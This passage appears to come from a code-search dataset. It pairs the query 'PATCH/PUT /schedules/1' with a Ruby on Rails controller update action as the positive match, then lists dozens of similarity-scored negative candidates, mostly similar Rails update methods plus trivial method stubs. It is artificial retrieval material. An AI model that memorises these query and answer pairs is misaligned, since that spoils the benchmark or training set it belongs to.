"0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "e866b74ee151e421a1db4aaf744b2706", "score": "0.6434139", "text": "def request(*args); end", "title": "" }, { "docid": "509b59dbf2b53df5bb3658b34205bbe1", "score": "0.64321893", "text": "def returns=(_arg0); end", "title": "" }, { "docid": "07265b5e0fe1f56c10560b4269a7ca34", "score": "0.64229286", "text": "def do_something(param1, param2, param3)\nend", "title": "" }, { "docid": "bed13fd1d5ddd3a1d318b8f23b653d1a", "score": "0.6413847", "text": "def call\n end", "title": "" }, { "docid": "769fd49c8dccb9d746453b3461cecb3d", "score": "0.6403675", "text": "def method(c=c)\r\nend", "title": "" }, { "docid": "e2631af534629d663ce5b7dd24175e23", "score": "0.6393076", "text": "def test(arg = nil)\n puts \"test\"\n end", "title": "" }, { "docid": "7ad4e34966273e7ab62976f2ea50c09b", "score": "0.6383413", "text": "def _perform(args); end", "title": "" }, { "docid": "0a556b1952ad83e39c4a887f1f85e9bc", "score": "0.63793015", "text": "def method\n\t\t# code code\n\tend", "title": "" }, { "docid": "126c2c552b724e98ef167fa2195be768", "score": "0.6378219", "text": "def overload; end", "title": "" }, { "docid": "22a22327e95b47cb933c04ce978b0ae8", "score": "0.6368005", "text": "def method(arg_1, arg_2)\n p arg_1\n p arg_2\nend", "title": "" }, { "docid": "156fe5ccf8feecf78b19f6b4f5065990", "score": "0.6366069", "text": "def foo(param = 'no')\n 'yes'\nend", "title": "" }, { "docid": "156fe5ccf8feecf78b19f6b4f5065990", "score": "0.6366069", "text": "def foo(param = 'no')\n 'yes'\nend", "title": "" }, { "docid": "4a431d29d33193788eb7c94ee3f782e7", "score": "0.635971", "text": "def pass=(_arg0); end", "title": "" }, { "docid": "c45e2bcde48852e0a2ea54c73de253f5", "score": "0.6328", "text": "def method (a=3, b)\r\nend", "title": "" }, { "docid": "addf120537f84d1b97d47e71399edeb1", "score": "0.6309962", "text": "def methods=(_arg0); end", "title": "" }, { "docid": "fe115f569344b0914b329a631bdc58e5", "score": "0.6299132", "text": "def do_something(param_1, param_2, param_3)\n\nend", "title": "" }, { "docid": "61fb486e47690f37839c73b4f129fa66", "score": "0.62911314", "text": "def action=(_arg0); end", "title": "" }, { "docid": "06c539ea5aa2c76a62ae5b21930f722f", "score": "0.62831604", "text": "def method (a=3,\r\n\tb)\r\nend", "title": "" }, { "docid": "f312ff8380843a15eedf626c6645d5a7", "score": "0.62810075", "text": "def standalone=(_arg0); end", "title": "" }, { "docid": "c947e3bd2d9de5de918bf686b5c029ef", "score": "0.62788033", "text": "def method_missing(method, params={})\n call(method, params)\n end", "title": "" } ]
b17562610e4ada0e9a367464e7858306
PATCH/PUT /schedules/1 PATCH/PUT /schedules/1.json
[ { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.7380528", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "6e01ac95c7a68ebe5f38f8517063fbcf", "score": "0.7587268", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n if @schedule.update(params[:schedule])\n head :no_content\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dc8694b29902fac7411a2d602d82d84e", "score": "0.74832815", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, :notice => 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89486b107a6d6037935bf2f4b2258ca3", "score": "0.74339116", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "396c14ffc51b3ff22133d6e2fc471739", "score": "0.74221194", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(format(params))\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f10e2b1081b444dacf0b705ae99988bc", "score": "0.7410176", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2afba5d29116cc4b78fa995d7e157923", "score": "0.73702586", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule,\n notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok,\n location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b852795d2cc8a471df3abde12aebf6c1", "score": "0.7356728", "text": "def update\n @schedule.update(schedule_params)\n end", "title": "" }, { "docid": "f70bb17be3b64e948c1644a215e56cfd", "score": "0.7350986", "text": "def update\n respond_to do |format|\n data = schedule_params\n data[:update_at] = Time.now\n if @schedule.update(data)\n format.html { redirect_to @schedule, notice: 'Schedule ha sido actualizado.' }\n format.json { render :index, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1de8c93eff0c903c476e15920ede382f", "score": "0.7324674", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n\n # First create jobkey with existing name,group\n key = JobKey.new(@schedule.name, @schedule.group)\n\n if @schedule.update_attributes(params[:schedule])\n\n # reload schedule to refresh attributes\n @schedule.reload\n\n # Also update schedule in Quartz, if it already exists\n if RemoteJobScheduler.instance.scheduler.check_exists(key)\n RemoteJobScheduler.instance.update_schedule_trigger(@schedule)\n end\n\n format.html { redirect_to(@schedule, :notice => 'Schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea972c6e3acb6b13ad5a695484d915dd", "score": "0.72564596", "text": "def update\r\n @schedule = Schedule.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @schedule.update_attributes(params[:schedule])\r\n format.html { redirect_to event_path(@schedule.event_id), notice: 'Schedule was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "bdd2ff86ab9fe53765498106ac827481", "score": "0.7232109", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8655dc4c1a82a97c1dcf303ba79fa4ea", "score": "0.72288066", "text": "def update\n respond_to do |format|\n if @my_schedule.update(my_schedule_params)\n format.html { redirect_to @my_schedule, notice: 'My schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_schedule }\n else\n format.html { render :edit }\n format.json { render json: @my_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bed8774a39eb83280235e68b17b2d75", "score": "0.72217023", "text": "def update\n # respond_to do |format|\n # if @schedule.update(schedule_params)\n # format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @schedule.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "981f6d9257c1904f000962b644ea82ce", "score": "0.7188668", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'スケジュールの更新が正常に行われました。' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24b2823cbd475de3484de4b5bc36b3d7", "score": "0.71671146", "text": "def update\n @event_schedule = EventSchedule.find(params[:id])\n\n respond_to do |format|\n if @event_schedule.update_attributes(params[:event_schedule])\n format.html { redirect_to @event_schedule, notice: 'Event schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ecae8c0cd3975951df5fea795538a3c", "score": "0.7164539", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: '스케쥴이 수정되었습니다' }\n format.json { render action: 'show', status: :ok, location: @schedule }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c769f293cbe65ceba32e1122e726b37f", "score": "0.7154614", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @location, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c68b9f6863c0a0786a0c3ade19da6d2", "score": "0.7110516", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to schedules_path, notice: 'Agendamento atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "616183f99db8b8f4ab21696b3fb73d36", "score": "0.7075917", "text": "def update\r\n @route_schedule = RouteSchedule.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @route_schedule.update_attributes(params[:route_schedule])\r\n format.html { redirect_to @route_schedule, notice: 'Route schedule was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @route_schedule.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "12b80552cd9a039984463f2054cd38f9", "score": "0.70596474", "text": "def update\n @manage_schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @manage_schedule.update_attributes(params[:manage_schedule])\n format.html { redirect_to @manage_schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manage_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3fc9ee7058e9fb26889ecdfdb71c971", "score": "0.7046202", "text": "def update\n\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to session.delete(:return_to), notice: \"Schedule was successfully updated.\" }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd0b92850e00edf22fdf7b22efd94bea", "score": "0.7044813", "text": "def update\n respond_to do |format|\n if @admin_schedule.update(admin_schedule_params)\n format.html { redirect_to admin_schedule_url(@admin_schedule.id), notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5e3be571fa5846e9ae5e06251c3835d", "score": "0.7031514", "text": "def update\n respond_to do |format|\n if @person_schedule.update(person_schedule_params)\n format.json { render :show, status: :ok, object: @person_schedule }\n else\n format.json { render json: @person_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1ec3e7cce7da68f13ab2d59bbcd36a0", "score": "0.70221573", "text": "def update\n @user_schedule = UserSchedule.find(params[:id])\n\n respond_to do |format|\n if @user_schedule.update_attributes(params[:user_schedule])\n format.html { redirect_to @user_schedule, notice: 'User schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bfa6a11bedf0186947a7221831ebd78", "score": "0.7012871", "text": "def update\n respond_to do |format|\n if @user_schedule.update(user_schedule_params)\n format.html { redirect_to @user_schedule, notice: 'User schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e21cfbcf047d9af0f4880ede92797673", "score": "0.6995843", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to(@schedule, :notice => 'Schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25a91d293779d469b8c89a20ef7c0768", "score": "0.69919574", "text": "def update\n respond_to do |format|\n if @dates_schedule.update(dates_schedule_params)\n format.html { redirect_to @dates_schedule, notice: 'Dates schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dates_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dates_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffbad9e5eddf4d7998d07778d0daf5f2", "score": "0.6984591", "text": "def update\n @schedule.update(schedule_params)\n render text: \" \"\n end", "title": "" }, { "docid": "37a9b2010bdc78f1cf71af24417a152e", "score": "0.6951515", "text": "def update\n authorize! :update, Schedule, :message => 'Not authorized as an administrator.'\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08fa03956f541f0e49bfb924b35be4fc", "score": "0.693721", "text": "def update\n respond_to do |format|\n if @nfl_schedule.update(nfl_schedule_params)\n format.html { redirect_to @nfl_schedule, notice: 'Nfl schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @nfl_schedule }\n else\n format.html { render :edit }\n format.json { render json: @nfl_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3106a3c40acacee3e49adbbdd5ef1396", "score": "0.6931381", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n flash[:notice] = 'Schedule was successfully updated.'\n format.html { redirect_to(schedule_path(@schedule)) }\n format.xml { head :ok }\n else\n @apps = App.find(:all)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51a41a933c28eb93350ff6f717440e15", "score": "0.69252086", "text": "def update\n respond_to do |format|\n if @agent_schedule.update(agent_schedule_params)\n format.html { redirect_to @agent_schedule, notice: 'Agent schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @agent_schedule }\n else\n format.html { render :edit }\n format.json { render json: @agent_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "543685cebfd8ddc6d1a44982a442ea4f", "score": "0.69177747", "text": "def update\n respond_to do |format|\n if @block && @schedule.update(schedule_params)\n format.html { redirect_to admins_backoffice_schedules_path, notice: @notice }\n format.json { render status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6be4a9222d3e19a4d48b8a9193aab393", "score": "0.687149", "text": "def update\n if params[:schedule]\n params[:schedule][:bookings] = Bookings.find(params[:schedule][:bookings])\n else\n params[:schedule] = {}\n params[:schedule][:bookings] = @schedule.bookings\n params[:schedule][:bookings] << Booking.find(params[:add_bookings]) if params[:add_bookings]\n params[:schedule][:bookings].reject! { |e| params[:remove_bookings].include? e.id.to_s } if params[:remove_bookings]\n params[:schedule][:bookings] = params[:schedule][:bookings].flatten\n end\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "110e70033c0ae4653cb69b784db75b88", "score": "0.6849828", "text": "def update\n if @schedule.update(schedule_params)\n redirect_to schedules_path\n end\n end", "title": "" }, { "docid": "8d4b85e586285682ccb0ebc56c252190", "score": "0.6832385", "text": "def update\n @schedule_entry = ScheduleEntry.find(params[:id])\n\n respond_to do |format|\n if @schedule_entry.update_attributes(params[:schedule_entry])\n format.html { redirect_to @schedule_entry, notice: 'Schedule entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81f87243ae6fe49da00ccd4ab60b214c", "score": "0.6809077", "text": "def update\n respond_to do |format|\n if @trip_schedule.update(trip_schedule_params)\n format.html { redirect_to @trip_schedule, notice: 'Trip schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_schedule }\n else\n format.html { render :edit }\n format.json { render json: @trip_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff9db56e9ae072cbe3fb429a541d9a88", "score": "0.67796636", "text": "def update\n respond_to do |format|\n if @dj_schedule.update(dj_schedule_params)\n format.html { redirect_to @dj_schedule, notice: 'Dj schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dj_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dj_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89e4c199ddef2ab1b0c19a8fdde25ee2", "score": "0.6773864", "text": "def update\n respond_to do |format|\n if @work_schedule.update(work_schedule_params)\n format.html { redirect_to @work_schedule, notice: 'Work schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_schedule }\n else\n format.html { render :edit }\n format.json { render json: @work_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97961ca4ba5f0840b34b45215f0b5c62", "score": "0.6773607", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to [:admin, @schedule], notice: '赛程更新成功' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97961ca4ba5f0840b34b45215f0b5c62", "score": "0.6773607", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to [:admin, @schedule], notice: '赛程更新成功' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52c9ea356f5b7c972150b5f94f91ae63", "score": "0.67696184", "text": "def update\n @schedule = Schedule.find(params[:id])\n @client_branches = ClientBranch.where(:client_id => params[:schedule][:client_id])\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13a41355531e59f5c87460782a73c072", "score": "0.67659676", "text": "def update\n respond_to do |format|\n if @counter_schedule.update(counter_schedule_params)\n format.html { redirect_to @counter_schedule, notice: 'Counter schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @counter_schedule }\n else\n format.html { render :edit }\n format.json { render json: @counter_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4be49865bbfc9c4f5b49f7b934c579d", "score": "0.6737422", "text": "def update\n respond_to do |format|\n if @bus_schedule.update(bus_schedule_params)\n format.html { redirect_to @bus_schedule, notice: 'Bus schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @bus_schedule }\n else\n format.html { render :edit }\n format.json { render json: @bus_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf3d1f93e5c64a62c6fd251fa247b42f", "score": "0.6730501", "text": "def update\n @schedule = Schedule.find(params[:id])\n auth! :action => :update, :object => @schedule.screen\n\n respond_to do |format|\n if @schedule.update_attributes(schedule_params)\n process_notification(@schedule, {:screen_id => @schedule.screen_id, :screen_name => @schedule.screen.name,\n :template_id => @schedule.template.id, :template_name => @schedule.template.name }, \n :key => 'concerto_template_scheduling.schedule.update', :owner => current_user, :action => 'update')\n\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7da43f5481d62c481991ece71472966c", "score": "0.6700615", "text": "def update\n respond_to do |format|\n if @runschedule.update(runschedule_params)\n format.html { redirect_to @runschedule, notice: 'Runschedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @runschedule }\n else\n format.html { render :edit }\n format.json { render json: @runschedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99e27a087e2d60514da4d433eea53a09", "score": "0.6691104", "text": "def set_schedules(id, options={})\n # schedules = options.fetch(:schedules) { raise ArgumentError }\n raise ArgumentError unless ENV['BUFFER_DEBUG']\n response = post(\"/profiles/#{id}/schedules/update.json\", options )\n Buff::Response.new(JSON.parse(response.body))\n end", "title": "" }, { "docid": "6474ac502064f1b3152dbe944f51e0ae", "score": "0.6685136", "text": "def update\n respond_to do |format|\n if @scheduler.update(scheduler_params)\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduler }\n else\n format.html { render :edit }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7517fdcd29740e7aaa012b941b5f483", "score": "0.66670454", "text": "def update\n respond_to do |format|\n if @crew_big_sonu_schedule.update(crew_big_sonu_schedule_params)\n format.html { redirect_to @crew_big_sonu_schedule, notice: 'Big sonu schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @crew_big_sonu_schedule }\n else\n format.html { render :edit }\n format.json { render json: @crew_big_sonu_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5e2e4d4efabfd49ef49fe504e3894e7", "score": "0.6658155", "text": "def update\n @scheduler = Scheduler.find(params[:id])\n\n respond_to do |format|\n if @scheduler.update_attributes(params[:scheduler])\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1134cb41cbb2bb70047c76846bfa68c", "score": "0.6651816", "text": "def update\n respond_to do |format|\n if @schedule_action.update(schedule_action_params)\n format.html { redirect_to @schedule_action, notice: 'Schedule action was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule_action }\n else\n format.html { render :edit }\n format.json { render json: @schedule_action.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1279e6e4ae026b93310b3b42bd44f9e", "score": "0.66340214", "text": "def update\n respond_to do |format|\n if @mail_schedule.update(mail_schedule_params)\n format.html { redirect_to @mail_schedule, notice: 'Mail schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @mail_schedule }\n else\n format.html { render :edit }\n format.json { render json: @mail_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f8b06cff90ec778d4b7d4ef5089c49d", "score": "0.66278017", "text": "def update\n respond_to do |format|\n if @classroom_laboratory_schedule.update(classroom_laboratory_schedule_params)\n format.html { redirect_to @classroom_laboratory_schedule, notice: 'Classroom laboratory schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classroom_laboratory_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d48203c818345a27a471d92e4faad76", "score": "0.66177094", "text": "def update\n @flight_schedule = FlightSchedule.find(params[:id])\n\n respond_to do |format|\n if @flight_schedule.update_attributes(params[:flight_schedule])\n format.html { redirect_to @flight_schedule, notice: 'Flight schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e868fc61f01ef368e3f920052d16757", "score": "0.6611357", "text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to admin_schedule_path(@event), notice: 'Schedule was successfully edited.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d84402f515cf77fcd3fa2a767c616f20", "score": "0.6590929", "text": "def update\n respond_to do |format|\n if @dis_nfi_schedule.update(dis_nfi_schedule_params)\n format.html { redirect_to @dis_nfi_schedule, notice: 'Dis nfi schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_nfi_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dis_nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "163ef249ecd25c8c2898e7e85362e742", "score": "0.6558838", "text": "def updateschedule(scid,params)\r\n scrbslog(\"======Begin to update a schedule======\")\r\n @schedule = Schedule.find(scid)\r\n @user = User.find(@schedule.user_id)\r\n scrbslog(\"Author:\" + @user.name)\r\n room_id = Room.find_by_room_name(params[\"room_name\"]).id\r\n @schedule.update_attributes(:schedule_day=>params[\"schedule_day\"],:start_time=>params[\"start_time\"],:end_time=>params[\"end_time\"],:comment=>params[\"comment\"],:room_id => room_id,:title =>params[\"title\"] )\r\n Status.create(:room_name=>params[\"room_name\"],:schedule_day=>params[\"schedule_day\"],:start_time=>params[\"start_time\"],:end_time=>params[\"end_time\"],:scheduleid=>scid)\r\n scrbslog(params)\r\n scrbslog(\"======End to update a schedule======\")\r\n end", "title": "" }, { "docid": "6aab06bdaef7a2c3266fe339bf576d87", "score": "0.65483034", "text": "def update\n respond_to do |format|\n if @scheduler.update(scheduler_params)\n format.html { redirect_to job_scheduler_path(@job, @scheduler), notice: 'Scheduler was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduler }\n else\n format.html { render :edit }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "812ad5fe19d683b789d9027b7856740c", "score": "0.65407383", "text": "def update\n respond_to do |format|\n if @weekly_schedule.update(weekly_schedule_params)\n format.html { redirect_to @weekly_schedule, notice: 'Weekly schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekly_schedule }\n else\n format.html { render :edit }\n format.json { render json: @weekly_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51c10aae2899ac2ce15bc7f62057f285", "score": "0.6524758", "text": "def update\n @scheduled_task = ScheduledTask.find(params[:id])\n\n respond_to do |format|\n if @scheduled_task.update_attributes(params.require(:scheduled_task).permit!)\n format.html { redirect_to @scheduled_task, notice: 'Scheduled task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scheduled_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97273ad5dd463032ad81e3566427c031", "score": "0.6503705", "text": "def update\n respond_to do |format|\n if @app_schedule.update(app_schedule_params)\n AppointmentMailer.with(app_schedule: @app_schedule).update_appointment.deliver!\n AppointmentMailer.with(app_schedule: @app_schedule).notify_appointment_update.deliver!\n format.html { redirect_to @app_schedule, notice: 'Appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_schedule }\n else\n format.html { render :edit }\n format.json { render json: @app_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8afb7ee19a9746989518a22b496923e", "score": "0.6502103", "text": "def update\n respond_to do |format|\n if @meal_schedule.update(meal_schedule_params)\n format.html { redirect_to meal_schedules_path, notice: 'MealSchedule was updated successfully' }\n format.json { render :show, status: :ok, location: meal_schedules_path }\n else\n format.html { render :edit }\n format.json { render json: @meal_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9355f7ee5e6ab4d40edfa68121ea318a", "score": "0.64691645", "text": "def update\n respond_to do |format|\n if @task.update(task_params)\n @task.whenever_reset unless task_params[:every].blank? && task_params[:at].blank?\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { 